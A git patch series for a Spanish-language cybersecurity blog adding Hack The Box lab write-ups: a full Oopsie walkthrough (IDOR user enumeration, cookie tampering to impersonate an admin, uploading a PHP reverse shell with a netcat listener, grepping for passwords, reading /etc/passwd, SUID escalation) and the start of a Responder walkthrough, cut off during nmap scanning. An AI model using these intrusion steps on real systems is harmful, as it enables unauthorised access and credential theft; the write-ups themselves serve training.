From 16854785b043cb0c1013f07cf10fb96a15b59495 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:20:47 +0200 Subject: [PATCH 0001/1701] Update _config.yml --- _config.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_config.yml b/_config.yml index c5cf3fdc785..3b29c3fe84d 100644 --- a/_config.yml +++ b/_config.yml @@ -1,5 +1,5 @@ -title: Hacker theme +title: F1r0x description: Hacker is a theme for GitHub Pages. show_downloads: true google_analytics: -theme: jekyll-theme-hacker \ No newline at end of file +theme: jekyll-theme-hacker From e38bb30361e4bc6ec1cf4201505c1b9c084a6b30 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:27:50 +0200 Subject: [PATCH 0002/1701] Update _config.yml --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 3b29c3fe84d..b60e65a7834 100644 --- a/_config.yml +++ b/_config.yml @@ -1,5 +1,5 @@ title: F1r0x -description: Hacker is a theme for GitHub Pages. +description: Blog sobre Ciberseguridad. show_downloads: true google_analytics: theme: jekyll-theme-hacker From c528b378b274a3d469544cd5886cc103afb93b79 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:31:45 +0200 Subject: [PATCH 0003/1701] Update index.md --- index.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/index.md b/index.md index e039c9ac641..1b0f23b1cff 100644 --- a/index.md +++ b/index.md @@ -1,3 +1,6 @@ +[HTB-Oopsie](./another-page2.html). + + --- layout: default --- From 4441d7c6fc0bbedb8a0c44fe4d2839e04d59f05e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:33:39 +0200 Subject: [PATCH 0004/1701] Create another-page2.md --- another-page2.md | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 another-page2.md diff --git a/another-page2.md b/another-page2.md new file mode 100644 index 00000000000..e3b500761f6 --- /dev/null +++ b/another-page2.md @@ -0,0 +1,9 @@ +--- +layout: default +--- + +## Welcome to another page 2 + +_yay_ + +[back](./) From a77f61a5f58ed5a289d19417684105b1a9b67176 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:40:17 +0200 Subject: [PATCH 0005/1701] Update another-page2.md --- another-page2.md | 513 ++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 507 insertions(+), 6 deletions(-) diff --git a/another-page2.md b/another-page2.md index e3b500761f6..f08ec0026af 100644 --- a/another-page2.md +++ b/another-page2.md @@ -1,9 +1,510 @@ ---- -layout: default ---- +# HTB-Oopsie -## Welcome to another page 2 +![background2](https://user-images.githubusercontent.com/103068924/162303201-c75e17fd-4e23-40e4-845a-c7c40e6ed3ed.png) -_yay_ +![Captura de pantalla -2022-04-12 20-08-28](https://user-images.githubusercontent.com/103068924/163026464-d0c81cf4-ce40-4fcc-9369-082a366558cf.png) + +En primer lugar, vamos a comprobar si tenemos conexión + con la máquina. Y si podemos averiguar el sistema + operativo que utiliza mediante el ttl. + + ping [Ip Víctima] + +![Captura de pantalla -2022-04-12 20-04-31](https://user-images.githubusercontent.com/103068924/163026403-f74332d1-582a-43d0-9cb5-6dc1f4b170dc.png) + + Podemos observar que tiene un ttl=63, por tanto, ya + sabemos que estamos frente a una máquina Linux. + + Ahora podemos escanear los puertos mediante nmap. + + nmap -p- --open -T5 -n -v [Ip Víctima] -oG allPorts + +![Captura de pantalla -2022-04-12 20-11-38](https://user-images.githubusercontent.com/103068924/163026657-0e7a094b-7f45-44ef-9fec-33bd43400f94.png) + + Esto nos guardará los puertos abiertos en el archivo + 'allPorts' por si posteriormente queremos revisarlos + de manera rápida accediendo al archivo guardado en + nuestro directorio mediante la herramienta 'extractPorts'. + + Puedes encontrar la descripción y la herramienta extractPorts + creada por S4vitar en mi repositorio: https://github.com/F1r0x/ExtractPorts + + Es este caso podemos observar los siguientes puertos + abiertos por el protocolo TCP: + + + ![Captura de pantalla -2022-04-12 20-16-22](https://user-images.githubusercontent.com/103068924/163027420-450280c2-ee41-4331-845e-0374bc6a8836.png) + + PORT STATE SERVICE + + 22/tcp open ssh + + 80/tcp open http + + + Ahora pasaremos a realizar un escaneo más exhaustivo: + + nmap -sC -sV -v -p22,80 [Ip Víctima] -oN target + + ![Captura de pantalla -2022-04-12 20-18-19](https://user-images.githubusercontent.com/103068924/163027847-ca47db77-4fdc-4852-ab48-049a2185332e.png) + + + -sC : Lanza scrips básicos de reconocimiento. + + -sV : Localiza la versión y servicio de los puertos + definidos. + + -p : Puertos a escanear. Ej: -p22,80 + + -oN : Reporta los resultados en formato nmap al archivo + targed. + + Este escaneo, al igual que el anterior, nos guardará los + resultados en nuestro directorio en el archivo 'target'. + + ![Captura de pantalla -2022-04-12 20-18-36](https://user-images.githubusercontent.com/103068924/163027908-147fd6e0-e6fb-45bd-83c2-5cc108baa84f.png) + + Como podemos observar, obtenemos la siguiente información: + + -Puerto 22 corre un servicio ssh con la versión + OpenSSH 7.6p1. + + -Puerto 80 corre un servicio http operativo con la versión Apache httpd 2.4.29. + + Nos dirigimos al buscador y trataremos de introducir la Ip como host para ver si nos redirige hacia alguna + página web. + + Efectivamente, la dirección http://[Ip Víctima] nos muestra una página web sobre vehículos eléctricos. + +![Captura de pantalla -2022-04-12 20-21-26](https://user-images.githubusercontent.com/103068924/163028827-497c18bd-3434-4e4a-9d65-0d21f6d8de26.png) + + Bueno, tras investigar un poco la página podemos ver como ningúna de las pestañas esta activa, tambien podemos + ver en la parte inferior de la página, en un apartado llamado Services, nos indica que porfavor nos registremos + para tener acceso al servicio. + +![Captura de pantalla -2022-04-12 20-29-57](https://user-images.githubusercontent.com/103068924/163029501-1f3ee38d-5925-4505-a8f3-f44d4ec1c65c.png) + + Por lo que podemos suponer que tiene que existir alguna página de registro por la que poder acceder. + Visto esto vamos a echar un vistazo al codigo fuente de la página para ver si encontramos algúna dirección + de registro. + + Para ver el código fuente de una página, click derecho sobre la página y luego 'Ver código fuente de la página'. + + ![Captura de pantalla -2022-04-12 20-35-40](https://user-images.githubusercontent.com/103068924/163030380-53f4419e-6e68-472d-bc81-be3d9d2f3477.png) + + En la parte final del ćodigo podemos ver como muestra un directorio login. Vamos a tratar de acceder a el mediante + el buscador para ver que nos reporta. + + ![Captura de pantalla -2022-04-12 20-38-21](https://user-images.githubusercontent.com/103068924/163030801-b7d8df3d-38b9-4d0f-83ee-55ed33284cef.png) + + Ahora tenemos un sitio desde el que acceder. Ya que desconocemos el usuario y la contraseña (yo he probado los + más comunes y no he tenido suerte) vamos ha acceder como invitados. Para ello le daremos a la opción Login as + Gues y tendremos acceso como invitados. + + ![Captura de pantalla -2022-04-12 20-43-14](https://user-images.githubusercontent.com/103068924/163031583-c15f6fe6-be42-4aa0-89e0-44a906660539.png) + +Podemos ver que tenemos diferentes pestañas, vamos a revisarlas una por una para ver la información que nos +aportan: + +# Account + +![Captura de pantalla -2022-04-12 20-46-08](https://user-images.githubusercontent.com/103068924/163032093-35422154-b58a-4d74-8fd1-9eb8540f9f82.png) + +Dentro de account tenemos información sobre el usuario guest, un Access Id, su nombre y un correo eléctronico. +Luego he revisado el código fuente pero en este caso no me ha reportado mucha información. + +Tambien es interesante ver la url de la página, ya que nos asigna una id=2. + +![Captura de pantalla -2022-04-12 20-48-35](https://user-images.githubusercontent.com/103068924/163032502-688b1ca0-e809-4327-b327-9fe966096fca.png) + +Tras inspeccionar las cookies es donde encontramos algo interesante. + +![Captura de pantalla -2022-04-12 20-54-39](https://user-images.githubusercontent.com/103068924/163033432-4fbc584c-ec0d-42c1-bc50-709e6d8bc50d.png) + +Podemos ver como está página utiliza cookies de inicio de sesión, en caso de tener otro role y otro user, podriamos +intentar cambiarlos y ganar acceso a otra cuenta. + +Bien ahora pasaremos a la siguiente pestaña a ver que más nos puede reportar. + +# Branding + +![Captura de pantalla -2022-04-12 21-39-41](https://user-images.githubusercontent.com/103068924/163040582-9d571a01-4f86-49ce-9c5f-75d654c9cf40.png) + +Aquí podemos ver como se nos asigna una Brand Id = 2 y tambien podemos ver como las cookies de inicio de sesión +se mantienen. + +# Clients + +![Captura de pantalla -2022-04-12 21-43-09](https://user-images.githubusercontent.com/103068924/163041152-679d8735-82e5-497b-a965-ab3de84a2654.png) + + Vemos como se nos continiua asignando una ID = 2 y nos muestra un nombre 'client'. + +# Uploads + +![Captura de pantalla -2022-04-12 21-45-19](https://user-images.githubusercontent.com/103068924/163041448-d44b6a48-5073-45ff-bccb-7d51e39f892f.png) + +Esta pestaña es muy interesante ya que parece que sirve para subir archivos a la página. El único problema +es que no tenemos permisos de 'super admin'. + +En caso de tenerlos podriamos subir algún archivo para tratar de vulnerar la máquina o de escalar privilegios. + +# Recopilación de toda la información: + +Tras investigar por todas las pestañas, lo más interesante que he econtrado es que todos los id de el usuario +actual son iguales a 2. + +Tambien me llama la atención como en la url de la pestaña nos especifica la id=2 + + ![Captura de pantalla -2022-04-12 21-54-39](https://user-images.githubusercontent.com/103068924/163042869-a1df4c54-f66a-4f39-b2dd-4bfc1e4bde75.png) + +Y otra cosa importante, son las cookies de inicio de sesión que emos encontrado. + +Ahora, tras conocer toda esta información, lo que podemos hacer es porbar otras 'id' en la url de la pestaña +'Account'. Simplemente introducimos la misma url pero probamos con otros valores (0,1,3,4,...). + +![Captura de pantalla -2022-04-12 22-00-19](https://user-images.githubusercontent.com/103068924/163043808-0172257b-1519-45d8-8ed5-3752595187da.png) + +El primer intento a sido con 0 y vemos como no a tenido resultado. + +![Captura de pantalla -2022-04-12 22-01-14](https://user-images.githubusercontent.com/103068924/163044402-0c82b941-dab9-4211-803a-4cfe55d354a9.png) + +Al segundo intento mediante el número id=1 vemos como nos reporta información de un usuario llamado 'admin'. Pero +nosotros buscamos al usuario 'super admin', ya que es el que tiene pleno acceso a la carga de archviso de la +pestaña Upload, así que seguimos probando. + +![Captura de pantalla -2022-04-12 22-02-47](https://user-images.githubusercontent.com/103068924/163044418-a4cbd28f-f9a7-4069-a2c3-6ccb0a2e32c2.png) + +Vemos como tras muchos intentos vacios, nos muestra algunos usuarios. + + ![Captura de pantalla -2022-04-12 22-03-43](https://user-images.githubusercontent.com/103068924/163044454-f20e27ad-192f-455b-898a-bda8336c4bc3.png) + +Finalmente, tras 30 intentos, lo conseguimos. El id=30 pertenece al usuario 'super admin'. + +![Captura de pantalla -2022-04-12 22-04-28](https://user-images.githubusercontent.com/103068924/163044499-978e1f8c-f344-4231-95d0-c7b5b0727c06.png) + +# Cookies de inicio de sesion: + +Ya conoces el Acces ID (86575) y el Name (super admin), ahora tenemos que iniciar sesión como ese usuario. +Tras probar ha iniciar sesión desda la págin anterior de registro a la que accedimos como 'Gues', veo que +no me permite entrar, ya que aun desconocemos la contraseña. + +Entonces utilizaremos las cookies de inicio de sesión para intentar acceder como super admin. Para ello, en la +misma pestaña de Account, pulsamos clic derecho sobre la página y pulsamos 'Inspeccionar', dentro nos desplazaremos +hasta la pestaña 'Almacenamiento'. + +![Captura de pantalla -2022-04-12 22-24-01](https://user-images.githubusercontent.com/103068924/163047604-4abab7f4-15bd-4755-8c02-8adcef856ced.png) + +Dentro de 'Almacenamiento' veremos una petaña llamada 'Cookies' y el dominio de la página. Bueno pues el truco +consiste en cambiar los parametros 'role' y 'user' actuales por los del super admin. + +![Captura de pantalla -2022-04-12 22-25-21](https://user-images.githubusercontent.com/103068924/163047637-11e2b9cb-3cf8-46f4-9221-93a5c95f2696.png) + +Una vez introducimos los nuevos datos, recaramos la página y ya tendríamos acceso como super admin. +Para comprobarlo, nos vamos a la pestaña Uploads y vemos como ya nos permite subir archivos. + +![Captura de pantalla -2022-04-12 22-26-27](https://user-images.githubusercontent.com/103068924/163048085-17970a2a-aef6-4511-893c-a0f7cc9a4ade.png) + +# NetCat y Reverse-Shell + +Bueno ahora que ya podemos subir archivos al sistema, vamos a probar a crear una reverse-shell.php ya que la +url utiliza archivos '.php'. + +![Captura de pantalla -2022-04-13 12-05-12](https://user-images.githubusercontent.com/103068924/163155180-2eef861b-2b0c-4134-9a93-7ce0c84388fb.png) + +########################### php-reverse-shell.php ################################ + +En caso de utilizar Kali Linux o Parrot, lo más seguro es que ya tengais una reverse-shell en vuestros repositorios. +En mi caso que utilizo parrot, si realizamos una busqueda del archivo 'php-reverse-shell.php' podemos ver como se +aloja en los siguientes directorios: + +![Captura de pantalla -2022-04-13 12-05-12](https://user-images.githubusercontent.com/103068924/163155773-14809f0c-7c41-40a0-93fc-7274badd19df.png) + +En mi caso me aparece en dos repositorios y luego yo he realizado una copia en la carpeta Descargas para poder +configurar con nuestros datos nuestra reverse-shell. Es importante copiar el archivo en la carpeta Descargas +ya que será dificil buscar nuestro archvivo desde la página de Uploads a la hora de subirlo. + +En caso de no tener el archivo php-reverse-shelll.php en vuestro sitema, lo podeis encontrar en mi repositorio +de github mediante el siguiente enlace: https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php + +Para tenerlo, simplemente lo copiais, abris una terminal y crearemos el archivo mediante nano: + + nano php-reverse-shell.php + +Pegamos todo el script, guardamos (Cntrl + o) y salimos (Cntrl + x). + +# Configurar nuestra reverse-shell: + +Ya tendriamos la reverse-shell, ahora solo faltaría configurarla. Para ello, desde el directorio en el que este +el archivo php-reverse-shell.php (recomiendo que sea Descargas), meidante el comando nano cambiaremos la Ip por +la nuestra y estableceremos un puerto, desde el cual, posteriormente con NetCat nos pondremos en escucha. + +La configuración es muy simple, lo único que tenemos que hacer es cambiar la Ip +por la de nuestro sistema y establecer el puerto por el que queremos ponernos +en escucha. + +Abrimos una terminar y modificamos el archivo php-reverse-shell.php + + sudo nano php-reverse-shell.php + + +![Captura de pantalla -2022-04-13 12-42-02](https://user-images.githubusercontent.com/103068924/163163832-7a4632e4-a547-4ac4-b3a2-24cb5c7075e7.png) + +Establecemos nuestra Ip (tun0) y el puerto de escucha (en este ejemplo usaremos el 8080). Para saber +cuál es nuestra Ip, podemos verlo mediante el comando 'ipconfig': + + sudo ifconfig + +![Captura de pantalla -2022-04-13 13-01-50](https://user-images.githubusercontent.com/103068924/163166666-8c4d0990-f186-4775-be03-71e20fc4cb32.png) + +![Captura de pantalla -2022-04-13 12-42-15](https://user-images.githubusercontent.com/103068924/163163897-cf030c6f-617c-458e-b1ab-6f89c3ba5a25.png) + +Guardamos (Cntrl + o) y salimos (Cntrl + x). + +Ya tendriamos nuestro archivo php-reverse-shell.php preparado. Ahora lo siguiente seria tratar de subirlo a la +página desde la pestaña Uploads. + +(NOTA: La Ip de la máquina que yo os muestro a lo largo del write-up va cambiando debido a que realizarlo +a llevado horas y he tenido que reiniciar varias veces la máquina) + +![Captura de pantalla -2022-04-13 13-05-15](https://user-images.githubusercontent.com/103068924/163167449-e3ecf585-c2b0-4ada-bf15-65948855ebc2.png) + +Para ello simplemente vamos a la página, pulsamos examinar: + +![Captura de pantalla -2022-04-13 13-05-24](https://user-images.githubusercontent.com/103068924/163167470-2f5b1a66-854f-411a-9dae-f41c159e3d27.png) + +Seleccionamos nuestra reverse-shell: +![Captura de pantalla -2022-04-13 13-05-48](https://user-images.githubusercontent.com/103068924/163167513-4311b8e0-b094-4859-b917-2f6758945497.png) + +Y finalmente pulsamos Upload: + +![Captura de pantalla -2022-04-13 13-06-14](https://user-images.githubusercontent.com/103068924/163167561-97fb1091-3d56-46ef-991f-55f67084cf3c.png) + +Perfecto, ya tendríamos nuestro archivo subido. + +![Captura de pantalla -2022-04-13 13-06-42](https://user-images.githubusercontent.com/103068924/163167608-faa10f70-d676-44d5-b261-2b197eae910e.png) + + Ahora faltaría preparar nuestro NetCat para que se pongo en modo escucha por el puerto 8080. + Antes de probar el 8080 probe otros con el cual no conseguí establecer conexión para que + lo tengaís en cuenta. + + Para ponernos en escucha, abrimos una terminal y ejecutamos el siguiente comando: + + nc -lnvp 8080 + + -l : Sirve para que Netcat abra un puerto y se mantenga ala escucha. Se aceptará una única conexión de un + único cliente antes de cerrarse. + + -n : Direcciones IP solo numéricas, sin DNS. + + -v : Se usa para mostrar información acerca de la conexión. + + -p : Esta opción permite especificar el puerto al que conectarse. + +![Captura de pantalla -2022-04-13 13-25-27](https://user-images.githubusercontent.com/103068924/163170156-2409012e-2a0e-4657-8d97-247bd3862179.png) + +El siguiente paso sería ejecutar el archivo php-reverse-shell.php que hemos almacenado en la +máquina víctima. El unico problema es que no sabemos donde se ha almacenado nuestro archivo. +Para encontrar nuesto archvi utilizaremos la herramienta 'gobuester'. + +# Gobuster + +Gobuster es una herramienta utilizada para la fuerza bruta de busqueda de URL, incluidos directorios y archivos, +así como subdominios DNS. + +Para instalarlo simplemente ejecutamos: + + sudo apt install gobuster + + Y tambien tendremos que descargar los repositorios de direcciones, en esta ocasion utilizaremos un + repositorio llamado 'wordlists' y en concreto la lista de directorios 'directory-list-2.3-small.txt. + + Podeis descargaros estas bibliotecas de directorios desde la misma página de github, existen un monton + de variantes en función del sistema a explotar. De todas formas revisar primero si ya existe en + vuestro sistema ya que algunos SO traen repositoios instalados. + + Para descargar o copiar: + + https://gist.github.com/sl4v/c087e36164e74233514b + + En ese enlace encontrareis la biblioteca que vamos a utilizar, yo recomoento instalarlo en el siguiente + directorio, si el directorio no existe crarlo.: + + /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt + + + Bien, ya tenemos nuesto Gobuster y nuestra biblioteca de directorios, ahora toca lanzar la herramienta a ver + que nos reporta: + + gobuster dir --url http://[Ip Víctima]/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php + + Ahora gobuster empezará a realizar pruebas y a mostrarnos resultados a medida q avanza. No tenemos que esperar a + que finalice, simplemente fijaros en cuales son los directorios que reporta y ir probando a ver cuales son + funcionales. + + ![Captura de pantalla -2022-04-13 13-56-08](https://user-images.githubusercontent.com/103068924/163174943-ef87aba2-a3da-4ede-aeae-447ea841f8ad.png) + + Para para el proceso: Cntrl + c + + En esta caso hemos tenido suerte ya que al poco de buscar a encontrado una ruta que nos dirige al directorio + Uploads. + + http://[Ip Víctima]/uploads/ + + Una vez echo esto nos dirigiremos al navegador y tratremos de introducir la siguiente ruta: + + http://[Ip Víctima]/uploads/php-reverse-shell.php + + ![Captura de pantalla -2022-04-13 13-46-48](https://user-images.githubusercontent.com/103068924/163173691-3a6ffdf3-68f3-4118-af32-35aaba15b3a4.png) + + Una vez echo esto volvemos a la terminal donde se encontraba el 'netcat' y deberia de haberse abierto + nuestra shell. + +![Captura de pantalla -2022-04-13 13-48-41](https://user-images.githubusercontent.com/103068924/163173725-66250263-5c8b-4878-8549-897c4cfb935b.png) + + Efectivamente, ya tenemos nuestra reverse-shell preparada y activa. + + # Busqueda de la primera Flag: + + Una vez tengamos la shell activa, podemos ver los directorios mediante ls: + + ![Captura de pantalla -2022-04-13 14-59-23](https://user-images.githubusercontent.com/103068924/163187298-bce39584-72ea-45bd-83f0-e9dd8cf827cd.png) + + Vamos a ver que Usuarios tenemos registrados en el sistema, para ello nos dirigimos al directorio /home y vemos + q existe el usuario 'robert'. + + ![Captura de pantalla -2022-04-13 15-00-24](https://user-images.githubusercontent.com/103068924/163187555-39762713-a2b8-494b-8119-3d63bf5243f1.png) + + Y bingo!! dentro del directorio 'robert' podemos ver el archivo 'user.txt' que contiene la primera Flag. + + ![Captura de pantalla -2022-04-13 15-00-44](https://user-images.githubusercontent.com/103068924/163187928-3efd9b72-3992-4036-923d-d6ae79a7686a.png) + + Mediante el comando cat podemos ver en la terminal el contenido del archivo: + + cat user.txt + + ![Captura de pantalla -2022-04-13 15-02-39](https://user-images.githubusercontent.com/103068924/163187942-4cde5ee7-b0eb-418c-b192-e719391765f7.png) + +Ahora para poder trabajar de manera más comoda y tratar de escalar privilegios, primero, abriremos una shell +más funcional. Para ello volvemos al directorio principal mediante cd y ejecutamos el siguiente comando: + + + python3 -c 'import pty;pty.spawn("/bin/bash")' + +![Captura de pantalla -2022-04-21 08-17-19](https://user-images.githubusercontent.com/103068924/164386987-26be3445-32af-43fe-86e4-cb706405152c.png) + +![Captura de pantalla -2022-04-21 08-17-46](https://user-images.githubusercontent.com/103068924/164387012-eed5d362-cf52-4c9b-bbe8-dea4a252ab4a.png) + +Bien, ahora ya tenemos una shell más segura y funcional. Ya hemos visto que con el usuario actual no podemos +hacer mucho más ya que tenemos el acceso restringido al sistema. + +Ya que el sitio web utiliza PHP y SQL, podemos tratar de comprobar el directorio web en busca de posibles +divulgaciones o configuraciones incorrectas. + +Para ello revisamos los directorios situados en '/var/www/html/'. Tras revisar los distintos directorios, podemos +ver uno con el nombre 'login' (/var/www/html/cdn-cgi/login) que contiene distintos archivos. + +![Captura de pantalla -2022-04-21 08-26-47](https://user-images.githubusercontent.com/103068924/164388471-47ec0d82-21a7-4605-add7-ad0acd87390e.png) + +Aparecen tres archivos '.php' y uno '.js', el siguiente paso seria buscar información en el codigo fuente de cada +archivo. Para ello, buscaremos cadenas interesantes con el uso de la herramienta 'grep'. + +Grep es una herramienta que busca patrones en cada archivo e imprime las líneas que coinciden con los patrones. +Junto a esta herramienta podemos utilizar el comnado 'cat' para leer todos los arhcivos filtrados por 'grep'. + +Con grep utilizaremos el patrón 'passw' para tratar de roportar todas los resultados con ese inicio de palabra (como +passwd o password por ejemplo). Tambien utilizaremos -i para ignorar las palabras sensibles a mayúsculas y minúsculas +como por ejemplo las contraseñas en este caso. + + cat * | grep -i passw* + + + ![Captura de pantalla -2022-04-21 08-43-19](https://user-images.githubusercontent.com/103068924/164390666-8ff742dc-30ed-4147-b5f6-9bf5fd216792.png) + + Genial, podemos ver como nos reporta un username = "admin" y una password = "MEGACORP_4dm1n!!". + + Para poder verificar los usuarios disponibles en el sistema, podemos leer el archivo /etc/passwd y tratar + de reutilizar la contrasña encontrada en alguna cuenta con altros privilegios. + + cat /etc/passwd + + ![Captura de pantalla -2022-04-21 08-51-23](https://user-images.githubusercontent.com/103068924/164391835-0f93382c-112b-4f0d-ba0b-c2efab165c22.png) + +Podemos ver como tenemos un usuario llamado 'robert'. Vamos a tratar de entrar como este usuario mediante el +comadno 'su' y con la contraseña previamente encontrada. + + su robert + +![Captura de pantalla -2022-04-21 08-56-29](https://user-images.githubusercontent.com/103068924/164392632-a0950c9a-d518-4ba7-a9a0-433173395c23.png) + + +Podemos ver que la contraseña no corresponde con este usuario. Como no nos sirve está contraseña vamos a seguir +revisando los archivos ".php" y ".js" de manera manual en busca de algo más. + +Tras revisar los cuatro archivos, vemos que en el archivo 'db.php' encontramos la siguiente información: + + cat db.php + +![Captura de pantalla -2022-04-21 09-02-58](https://user-images.githubusercontent.com/103068924/164393733-c692a948-0f9d-45ce-ac05-e7afab97ff00.png) + +Como podeis ver aparecen cuatro palabras que podemos probar como contraseñas, tras probarlas vemos como la +contraseña del usuario 'robert' es "M3g4C0rpUs3r!" + + su robert + +![Captura de pantalla -2022-04-21 09-08-58](https://user-images.githubusercontent.com/103068924/164394920-e350b001-4047-4f76-9c31-6097ef72ea92.png) + +Finalmente estamos como el usuario 'robert', podemos comprobarlo utilizando el comando 'whoami': + +![Captura de pantalla -2022-04-21 09-10-00](https://user-images.githubusercontent.com/103068924/164396131-26ff5453-22ee-48a5-9629-18f5b73e9be9.png) + +Ahora podemos ir al directorio pricipal /home/robert y veremos como ahi está nuestro archivo user.txt con +nuestra primera flag que ya habiamos visto anteriormente sin necesidad de ningún privilegio. + + cd /home/robert + + cat user.txt + +![Captura de pantalla -2022-04-21 09-12-12](https://user-images.githubusercontent.com/103068924/164396519-93ccff49-d292-4047-9e64-2988711d5187.png) + +Pero nosotros lo que buscamos es la flag del super usuario y para ello debemos de escalar privilegios. + +# Escalada de Privilegios. + +En primer luegar trataremos de iniciar sesion como super usuario mediante 'sudo': + + sudo su robert + +![Captura de pantalla -2022-04-21 09-27-12](https://user-images.githubusercontent.com/103068924/164400159-7bc36117-61a0-4dc8-87c4-9e93ab5bb34c.png) + +Tras probar las contraseñas previamente rocopiladas vemos como ningúna parece funcionar. Vamos a seguir buscando +información, está vez, vamos a revisar los grupos en los que forma parte el usuario 'robert', para ello +utilizaremos el comando 'id': + +![Captura de pantalla -2022-04-21 09-33-56](https://user-images.githubusercontent.com/103068924/164402956-9fb36b29-d5cb-4e17-8efb-742d75145cd8.png) + +Vemos como el usurio robert es parte del grupo 'bugtracker'. Ahora, intentemos ver si hay algún +binario dentro de ese grupo: + + find / -group bugtracker 2>/dev/null + +![Captura de pantalla -2022-04-21 09-42-23](https://user-images.githubusercontent.com/103068924/164404634-e6d61c58-7fff-4e55-a6f7-b9a0a06aed99.png) + +Nos ha reportado un archivo llamado 'bugtracker'. Ahora comprobamos qué privilegio y qué tipo de archivo es: + + ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker + +![Captura de pantalla -2022-04-21 09-47-02](https://user-images.githubusercontent.com/103068924/164405567-6055d680-b99b-4635-a3ad-a2c54ad77b82.png) + +Podemos ver que existe un conjunto 'SUID' en ese binario, este es un buen camino de eplotación para tratar de +escalar privilegios. + +Un archivo SUID simepre se ejecuta como el usuario propietario del archivo, independientemente de que usuaio +pase el comando. + +En nuestro caso, el 'butracker' binario es pro piedad de 'root' y por tanto podemos ejecutalo como root ya +que tiene configurado SUID. + +Para ello ejecutamos 'bugtacker': + + /usr/bin/bugtracker -[back](./) From e915af8022a123a4910e9907efefd3b82fda6537 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:48:45 +0200 Subject: [PATCH 0006/1701] Update index.md --- index.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 1b0f23b1cff..213c75bdc4b 100644 --- a/index.md +++ b/index.md @@ -1,5 +1,6 @@ -[HTB-Oopsie](./another-page2.html). +[HTB-Oopsie](./another-page2.html) +[HTB-Responder](./HTB-Responder.html) --- layout: default From 955704c19ace04b5b23da0f6ad3b88fafd5c5e9e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 22 Apr 2022 20:51:32 +0200 Subject: [PATCH 0007/1701] Create HTB-Responder.md --- HTB-Responder.md | 326 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 326 insertions(+) create mode 100644 HTB-Responder.md diff --git a/HTB-Responder.md b/HTB-Responder.md new file mode 100644 index 00000000000..4233a355bb6 --- /dev/null +++ b/HTB-Responder.md @@ -0,0 +1,326 @@ + +![HTB-Responder](https://user-images.githubusercontent.com/103068924/162617408-a52c43fa-17f9-4b84-b875-2417a6381e7e.png) + +# HTB-RESPONDER +Resolución de la starting_point de HTB Responder. + +En primer lugar debemos asegurar que estamos conectados +a la víctima y tratar de recopilar la máxima información +posible. + +# PING + + Para verificar la conexión y tener una primera toma de + contacto utilizaremos el comando 'ping'. + + ping [Ip Víctima] + + Mediante este comando podemos obterner la siguiente + información: + + - Verificar la conexión. + - La latencia. Podemos observar el tiempo de recorrido + de un paquete. + - Podemos optener la Ip de un dominio. + - Determinar si estamos frente a un SO Linux o Windows: + Windows ttl = 128 + Linux ttl = 64 + +![Captura de pantalla -2022-04-11 18-56-44](https://user-images.githubusercontent.com/103068924/162793073-6d60a6aa-c01b-4b66-b42b-f835402cd39d.png) + +Como podemos ver tenemos conexión ya que nos devuelve los +paquetes enviados y tambien podemos determinar que estamos +frente a una máquina Windows, ya que nos muestra un ttl=127. + +# NMAP + +Tras conocer la máquina a la que nos enfrentamos +pasaremos analizar los protocolos tcp/udp. + +Primero analizaremos lo puertos tcp ya que son los más +utilizados y los más rápidos de escanear. + +Mediante nmap realizaremos varios escaneos, el primero +será un analisis de todos los puertos abiertos del +protocolo tcp. + +![Captura de pantalla -2022-04-11 18-58-03](https://user-images.githubusercontent.com/103068924/162793045-8827ee25-bc83-44b0-8bb9-1c35eded3f38.png) + + nmap -p- --open -T5 -v -n [Ip Víctima] -oG allPorts + + -p- : Escanea todo el rango de puertos. + + --open : Solo nos mostrará puertos con el estatus abierto. + + -T5 : Controla el tiempo y el rendimiento del escaneo donde 1 es el más + lento y 5 el más rápido. + + -v : Verbose. Recopila los puertos abiertos por TCP y los reporta por + consola. + + -n : Anula la resolución DNS. + + -oG : Nos exporta los resultados en formato grepeable. + + allPorts : Es el archivo donde se guardan los resultados. + + Gracias a la función 'extractPorts' podremos acceder en cualquier momento + a los resultados guardados en el archivo 'allPorts' y poder copiar y pegar + de forma ráìda sin tener que volver a realizar el escaneo. + + Podreís encontrar la función 'extractPorts' en mi repositorio. + + Realizamos el escaneo con nmap: + +![nmap2-HTB-REsponder](https://user-images.githubusercontent.com/103068924/162617839-1d17489e-72a4-4ecd-af53-da7447481361.png) + +Podemos ver como nos muestra tres puertos abiertos. Tras conocer los puertos +TCP abiertos, realizaremos un segundo escaneo enfocado solo en los puertos +abiertos para verla información que nos reportan y exportarlo en formato +nmap al archivo 'targed'. + + ![Captura de pantalla -2022-04-11 19-01-25](https://user-images.githubusercontent.com/103068924/162792939-c44ed297-d464-4c6c-bc52-c65dabaa83d0.png) + + nmap -sC -sV -p[Port1,Port2] [Ip Víctima] -oN target + + -sC : Lanza scrips básicos de reconocimiento. + + -sV : Localiza la versión y servicio de los puertos definidos. + + -p : Puertos a escanear. Ej: -p80,5985,7680 + + -oN : Reporta los resultados en formato nmap al archivo 'target'. + +![Captura de pantalla -2022-04-11 